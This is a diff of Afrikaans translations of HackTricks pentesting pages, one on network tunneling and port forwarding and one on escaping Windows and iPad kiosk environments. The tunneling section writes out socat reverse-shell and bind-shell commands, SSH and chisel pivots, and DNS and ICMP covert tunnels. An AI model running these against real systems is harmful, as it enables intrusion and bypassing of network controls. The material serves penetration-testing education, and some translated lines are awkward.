### Reverse Port Forwarding
Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry:
Dit is nuttig om omgekeerde shells van interne gasheer deur 'n DMZ na jou gasheer te kry:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -111,7 +103,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Jy kan **tunnel** via **ssh** al die **verkeer** na 'n **subnet** deur 'n gasheer.\
Jy kan **tunnel** via **ssh** al die **verkeer** na 'n **subnetwerk** deur 'n gasheer.\
Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan, te forward.
```bash
pip install sshuttle
@ -199,7 +191,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
## Chisel
Jy kan dit aflaai vanaf die vrylating bladsy van [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Jy moet die **selfde weergawe vir kliënt en bediener** gebruik
Jy moet die **selfde weergawe vir kliënt en bediener** gebruik.
### socks
```bash
@ -245,7 +237,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### Terugskakel
### Omgekeerde dop
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
@ -302,9 +294,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Dit is soos 'n konsole PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh-kliënt).
Dit is soos 'n konsole PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh kliënt).
Aangesien hierdie binêre in die slagoffer uitgevoer sal word en dit 'n ssh-kliënt is, moet ons ons ssh-diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs 'n plaaslik toeganklike poort na 'n poort in ons masjien te stuur:
Aangesien hierdie binêre in die slagoffer uitgevoer sal word en dit 'n ssh kliënt is, moet ons ons ssh diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs 'n plaaslik toeganklike poort na 'n poort in ons masjien te stuur:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -338,7 +330,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Nou kan ons **verbinde** met die **slagoffer** oor **RDP** met **`mstsc.exe`**, en ons behoort 'n **prompt** te ontvang wat sê dat die **SocksOverRDP plugin geaktiveer is**, en dit sal **luister** op **127.0.0.1:1080**.
**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binêre uit op die slagoffer masjien:
**Verbind** via **RDP** en laai op & voer in die slagoffer masjien die `SocksOverRDP-Server.exe` binêre uit:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -365,8 +357,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, voortgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit gee die poort 443 voort.
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit gee die poort 443 deur.
```
Username Alice
Password P@ssw0rd
@ -393,7 +385,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur die volgende te gebruik:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -417,7 +409,7 @@ Jy kan [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershel
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Port forwarding met dnscat**
#### **Haven forwarding met dnscat**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
@ -430,14 +422,14 @@ Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Tonneling
## ICMP Toneling
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root is nodig in beide stelsels om tun adapters te skep en tonnel data tussen hulle deur ICMP echo versoeke.
Root is nodig in beide stelsels om tun adapters te skep en data tussen hulle te tonnel met ICMP echo versoeke.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -488,7 +480,7 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### Lêers blootstel met HTTP
#### Leker van lêers met HTTP
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -527,24 +519,16 @@ addr: file:///tmp/httpbin/
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Probeer Hard Sekuriteit Groep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,69 +1,59 @@
# Ontsnapping uit KIOSKs
# Ontsnapping uit KIOSK
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemaksies en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Kontroleer fisiese toestel
| Komponent | Aksie |
| ------------- | -------------------------------------------------------------------- |
| Kragknoppie | Deur die toestel af en aan te skakel, kan die begin-skerm blootgestel word |
| Kragkabel | Kontroleer of die toestel herlaai wanneer die krag kortstondig afgesny word |
| USB-poorte | Verbind fisiese sleutelbord met meer snelkoppelinge |
| Ethernet | Netwerk skandering of snuif kan verdere uitbuiting moontlik maak |
| Komponent | Aksie |
| -------------- | -------------------------------------------------------------------- |
| Kragknoppie | Om die toestel af en weer aan te skakel kan die begin skerm blootstel |
| Kragkabel | Kontroleer of die toestel herbegin wanneer die krag kortliks afgesny word |
| USB-poorte | Koppel fisiese sleutelbord met meer sneltoetsen |
| Ethernet | Netwerk skandering of sniffing kan verdere uitbuiting moontlik maak |
## Kontroleer vir moontlike aksies binne die GUI-toepassing
**Gewone Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Meeste van hulle sal 'n volledige Explorer-funksionaliteit aanbied. Dit beteken dat jy toegang tot Explorer-funksionaliteite sal hê as jy hierdie opsies kan bereik:
**Algemene Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Die meeste van hulle sal **'n volledige Explorer-funksionaliteit bied**. Dit beteken dat jy toegang tot Explorer-funksies sal hê as jy toegang tot hierdie opsies kan kry:
* Sluit/Sluit as
* Maak oop/Maak oop met
* Oop/Oop met
* Druk
* Uitvoer/Invoer
* Eksporteer/Importeer
* Soek
* Skandeer
Jy moet nagaan of jy kan:
Jy moet kontroleer of jy kan:
* Wysig of nuwe lêers skep
* Skep simboliese skakels
* Lêers wysig of nuwe lêers skep
* Simboliese skakels skep
* Toegang tot beperkte areas kry
* Ander programme uitvoer
* Ander toepassings uitvoer
### Opdraguitvoering
Miskien kan jy **deur die `Oop met`**-opsie\*\* 'n soort van skaal oopmaak/uitvoer.
Miskien **deur 'n `Open with`** opsie kan jy 'n tipe shell oopmaak/uitvoer.
#### Windows
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer bineêre lêers wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer binaries wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
#### \*NIX \_\_
@ -73,14 +63,14 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
### Om padbeperkings te omseil
* **Omgevingsveranderlikes**: Daar is baie omgevingsveranderlikes wat na 'n sekere pad wys
* **Omgewing veranderlikes**: Daar is baie omgewing veranderlikes wat na 'n sekere pad wys
* **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Simboliese skakels**
* **Snelkoppelinge**: CTRL+N (maak nuwe sessie oop), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (maak Explorer oop), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* Versteekte Administratiewe kieslys: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC-paaie**: Paaie om aan gedeelde lêers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC-paaie:**
* **Sneltoetste**: CTRL+N (oop nuwe sessie), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (oop explorer), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Gesiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* Versteekte Administratiewe menu: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell URIs**: _shell:Administratiewe Gereedskap, shell:DokumenteBiblioteek, shell:Biblioteke, shell:Gebruikersprofiele, shell:Persoonlik, shell:SoekTuisGids, shell:Stelselshell:NetwerkPlekkeGids, shell:StuurNa, shell:GebruikersProfiele, shell:Gemeenskaplike Administratiewe Gereedskap, shell:MyRekenaarGids, shell:InternetGids_
* **UNC-pade**: Pade om aan gedeelde vouers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC-pade:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
@ -94,204 +84,206 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
### Laai Jou Bineêre lêers af
### Laai jou binaries af
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Registrie redigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Toegang tot lêersisteem vanuit die blaaier
### Toegang tot lêerstelsel vanaf die blaaier
| PAD | PAD | PAD | PAD |
| PAD | PAD | PAD | PAD |
| ------------------- | ----------------- | ------------------ | ------------------- |
| Lêer:/C:/windows | Lêer:/C:/windows/ | Lêer:/C:/windows\\ | Lêer:/C:\windows |
| Lêer:/C:\windows\\ | Lêer:/C:\windows/ | Lêer://C:/windows | Lêer://C:/windows/ |
| Lêer://C:/windows\\ | Lêer://C:\windows | Lêer://C:\windows/ | Lêer://C:\windows\\ |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
### Kortpaaie
* Kleeftoets Druk SHIFT 5 keer
* Muis Toetse SHIFT+ALT+NUMLOCK
### Sneltoetste
* Plakkerige Sleutels Druk SHIFT 5 keer
* Muis Sleutels SHIFT+ALT+NUMLOCK
* Hoë Kontras SHIFT+ALT+PRINTSCN
* Wisseltoetse Hou NUMLOCK vir 5 sekondes
* Filter Toetse Hou regter SHIFT vir 12 sekondes
* Wissel Sleutels Hou NUMLOCK vir 5 sekondes
* Filter Sleutels Hou regter SHIFT vir 12 sekondes
* WINDOWS+F1 Windows Soek
* WINDOWS+D Wys Skermblad
* WINDOWS+E Lanceer Windows Verkenner
* WINDOWS+R Hardloop
* WINDOWS+D Wys Bureaublad
* WINDOWS+E Begin Windows Explorer
* WINDOWS+R Voer uit
* WINDOWS+U Toeganklikheidsentrum
* WINDOWS+F Soek
* SHIFT+F10 Konteksmenu
* CTRL+SHIFT+ESC Taakbestuurder
* CTRL+ALT+DEL Spatskerm op nuwer Windows weergawes
* CTRL+ALT+DEL Splash skerm op nuwer Windows weergawes
* F1 Hulp F3 Soek
* F6 Adresbalk
* F11 Wissel volledige skerm binne Internet Explorer
* CTRL+H Internet Explorer Geskiedenis
* CTRL+T Internet Explorer Nuwe Bladsy
* F11 Wissel volle skerm binne Internet Explorer
* CTRL+H Internet Explorer Gesiedenis
* CTRL+T Internet Explorer Nuwe Tab
* CTRL+N Internet Explorer Nuwe Bladsy
* CTRL+O Maak Lêer Oop
* CTRL+O Oop Lêer
* CTRL+S Stoor CTRL+N Nuwe RDP / Citrix
### Swaai
### Veeg
* Swaai van die linkerkant na regs om al die oop Vensters te sien, minimaliseer die KIOSK-toep en kry direkte toegang tot die hele OS;
* Swaai van die regterkant na links om die Aksiesentrum oop te maak, minimaliseer die KIOSK-toep en kry direkte toegang tot die hele OS;
* Swaai in van die boonste kant om die titelbalk sigbaar te maak vir 'n toepassing wat in volledige skermmodus oopgemaak is;
* Swaai op van die onderkant om die taakbalk in 'n volledige skermtoep te wys.
* Veeg van die linkerkant na die regterkant om al die oop Windows te sien, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te verkry;
* Veeg van die regterkant na die linkerkant om die Aksie Sentrum te open, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te verkry;
* Veeg in vanaf die boonste rand om die titelbalk sigbaar te maak vir 'n toepassing wat in volle skermmodus oopgemaak is;
* Veeg op vanaf die onderkant om die taakbalk in 'n volle skerm toepassing te wys.
### Internet Explorer Truuks
#### 'Beeld Werkbalk'
#### 'Beeld Toolbar'
Dit is 'n werkbalk wat op die boonste linkerkant van die beeld verskyn as dit geklik word. Jy sal in staat wees om te Stoor, Druk, Stuur 'n e-pos, Open "My Pictures" in Verkenner. Die Kiosk moet Internet Explorer gebruik.
Dit is 'n toolbar wat aan die boonste linkerkant van die beeld verskyn wanneer dit geklik word. Jy sal in staat wees om te Stoor, Druk, Mailto, "My Beelde" in Explorer oop te maak. Die Kiosk moet Internet Explorer gebruik.
#### Skulprotokol
#### Shell Protokol
Tik hierdie URL's om 'n Verkenner-aansig te verkry:
Tik hierdie URL's in om 'n Explorer-weergave te verkry:
* `shell:Administratiewe Gereedskap`
* `shell:DokumenteBiblioteek`
* `shell:Biblioteke`
* `shell:Gebruikersprofiel`
* `shell:Gebruikersprofiele`
* `shell:Persoonlik`
* `shell:SoekTuisvouer`
* `shell:NetwerkPlekkeVouer`
* `shell:StuurAan`
* `shell:Gebruikersprofiel`
* `shell:SoekTuisGids`
* `shell:NetwerkPlekkeGids`
* `shell:StuurNa`
* `shell:GebruikersProfiele`
* `shell:Gemeenskaplike Administratiewe Gereedskap`
* `shell:MyRekenaarVouer`
* `shell:InternetVouer`
* `shell:MyRekenaarGids`
* `shell:InternetGids`
* `Shell:Profiel`
* `Shell:ProgramLêers`
* `Shell:Sisteem`
* `Shell:BeheerpaneelVouer`
* `Shell:ProgramFiles`
* `Shell:Stelsel`
* `Shell:BeheerPaneelGids`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheerpaneel
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheer Paneel
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Rekenaar
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerkplekke
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerk Plekke
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
### Wys Lêeruitbreidings
### Wys Lêer Uitbreidings
Kyk op hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
Kyk hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
## Blaaier truuks
## Blaaiers truuks
Rugsteun iKat weergawes:
Back-up iKat weergawes:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
Skep 'n gemeenskaplike dialoog met behulp van JavaScript en kry toegang tot lêerverkenner: `document.write('<input/type=file>')`\
Skep 'n algemene dialoog met JavaScript en toegang lêer verkenner: `document.write('<input/type=file>')`\
Bron: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
## iPad
### Gebare en knoppies
* Swaai op met vier (of vyf) vingers / Dubbelklik op die Huis-knoppie: Om die multitask-aansig te sien en Program te verander
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/vorige Program te verander
* Knyp die skerm met vyf vingers / Raak die Huis-knoppie aan / Swaai op met 1 vinger van die onderkant van die skerm in 'n vinnige beweging na bo: Om by die Huis te kom
* Swaai een vinger van die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Swaai af van die boonste kant van die vertoning met 1 vinger: Om jou kennisgewings te sien
* Swaai af met 1 vinger die boonste-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om die Vandag-aansig te sien
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/vorige Program te verander
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad +** Skuif die Skyf na **krag af** skyf heeltemal na regs: Om af te skakel
* Druk die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om krag af te dwing
* Druk die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onderste linkerkant van die vertoning sal verskyn. Druk beide knoppies gelyktydig baie kort in, asof jy hulle vir 'n paar sekondes vas hou, sal 'n krag af gedwing word.
* Veeg op met vier (of vyf) vingers / Dubbel-tik die Tuis knoppie: Om die multitaskweergave te sien en die Toepassing te verander
* Veeg een kant of die ander met vier of vyf vingers: Om na die volgende/laaste Toepassing te verander
* Knyp die skerm met vyf vingers / Raak die Tuis knoppie / Veeg op met 1 vinger vanaf die onderkant van die skerm in 'n vinnige beweging na bo: Om toegang tot Tuis te verkry
* Veeg een vinger vanaf die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Veeg af vanaf die boonste deel van die skerm met 1 vinger: Om jou kennisgewings te sien
* Veeg af met 1 vinger in die boonste regterhoek van die skerm: Om die iPad Pro se kontrole sentrum te sien
* Veeg 1 vinger vanaf die linkerkant van die skerm 1-2 duim: Om die Vandag-weergave te sien
* Veeg vinnig 1 vinger vanaf die middel van die skerm na regs of links: Om na die volgende/laaste Toepassing te verander
* Druk en hou die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad +** Beweeg die Gly om **af te skakel** skuif heeltemal na regs: Om af te skakel
* Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Tuis knoppie vir 'n paar sekondes**: Om 'n harde afskakeling te dwing
* Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Tuis knoppie vinnig**: Om 'n skermskoot te neem wat in die onderste linkerhoek van die skerm sal verskyn. Druk albei knoppies op dieselfde tyd baie kort asof jy hulle 'n paar sekondes hou, sal 'n harde afskakeling uitgevoer word.
### Kortpaaie
### Sneltoets
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing sal hier vertoon word.
Jy moet 'n iPad sleutelbord of 'n USB sleutelbord-adapter hê. Net sneltoets wat kan help om uit die toepassing te ontsnap sal hier getoon word.
| Sleutel | Naam |
| --- | ------------ |
| ⌘ | Bevel |
| ⌥ | Opsie (Alt) |
| ⇧ | Verskuiwing |
| ↩ | Terugkeer |
| ⇥ | Tab |
| ^ | Beheer |
| ← | Linkerpyl |
| → | Regterpyl |
| ↑ | Op Pyl |
| ↓ | Af Pyl |
| ------- | ------------ |
| ⌘ | Opdrag |
| ⌥ | Opsie (Alt) |
| ⇧ | Shift |
| ↩ | Terug |
| ⇥ | Tab |
| ^ | Beheer |
| ← | Linker Pyl |
| → | Regter Pyl |
| ↑ | Bo Pyl |
| ↓ | Onder Pyl |
#### Stelsel kortpaaie
#### Stelselsneltoets
Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
Hierdie sneltoetse is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
| Kortpaaie | Aksie |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Verduister Skerm |
| F2 | Verhelder skerm |
| F7 | Terug een liedjie |
| F8 | Speel/pouse |
| F9 | Spring liedjie |
| F10 | Stil |
| F11 | Verminder volume |
| F12 | Verhoog volume |
| ⌘ Spasie | Wys 'n lys van beskikbare tale; om een te kies, tik weer op die spasiebalk. |
| Sneltoets | Aksie |
| --------- | ------------------------------------------------------------------------------ |
| F1 | Verlaag Skerm |
| F2 | Verhoog skerm |
| F7 | Terug een liedjie |
| F8 | Speel/pouse |
| F9 | Skuif liedjie |
| F10 | Stil |
| F11 | Verminder volume |
| F12 | Verhoog volume |
| ⌘ Space | Wys 'n lys van beskikbare tale; om een te kies, tik weer die spasie sleutel. |
#### iPad navigasie
| Kortpaaie | Aksie |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Gaan na die Huis |
| ⌘⇧H (Bevel-Verskuiwing-H) | Gaan na die Huis |
| ⌘ (Spasie) | Maak Spotlight Oop |
| ⌘⇥ (Bevel-Tab) | Lys van laaste tien gebruikte Programme |
| ⌘\~ | Gaan na die laaste Program |
| ⌘⇧3 (Bevel-Verskuiwing-3) | Skermkiekie (bly in die onderste linkerkant om dit te stoor of daarop te reageer) |
| ⌘⇧4 | Skermkiekie en maak dit oop in die redigeerder |
| Druk en hou ⌘ | Lys van beskikbare kortpaaie vir die Program |
| ⌘⌥D (Bevel-Opsie/Alt-D) | Bring die dok op |
| ^⌥H (Beheer-Opsie-H) | Huis-knoppie |
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitask-balk |
| ^⌥I (Beheer-Opsie-i) | Item kieser |
| Ontsnapping | Terug knoppie |
| → (Regterpyl) | Volgende item |
| ← (Linkerpyl) | Vorige item |
| ↑↓ (Op pyl, Af pyl) | Gelyktydig tik op die gekose item |
| ⌥ ↓ (Opsie-Af pyl) | Rol af |
| ⌥↑ (Opsie-Op pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Links pyl of Opsie-Regs pyl) | Rol links of regs |
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver spraak aan of af |
| ⌘⇧⇥ (Bevel-Verskuiwing-Tab) | Skakel na die vorige Program |
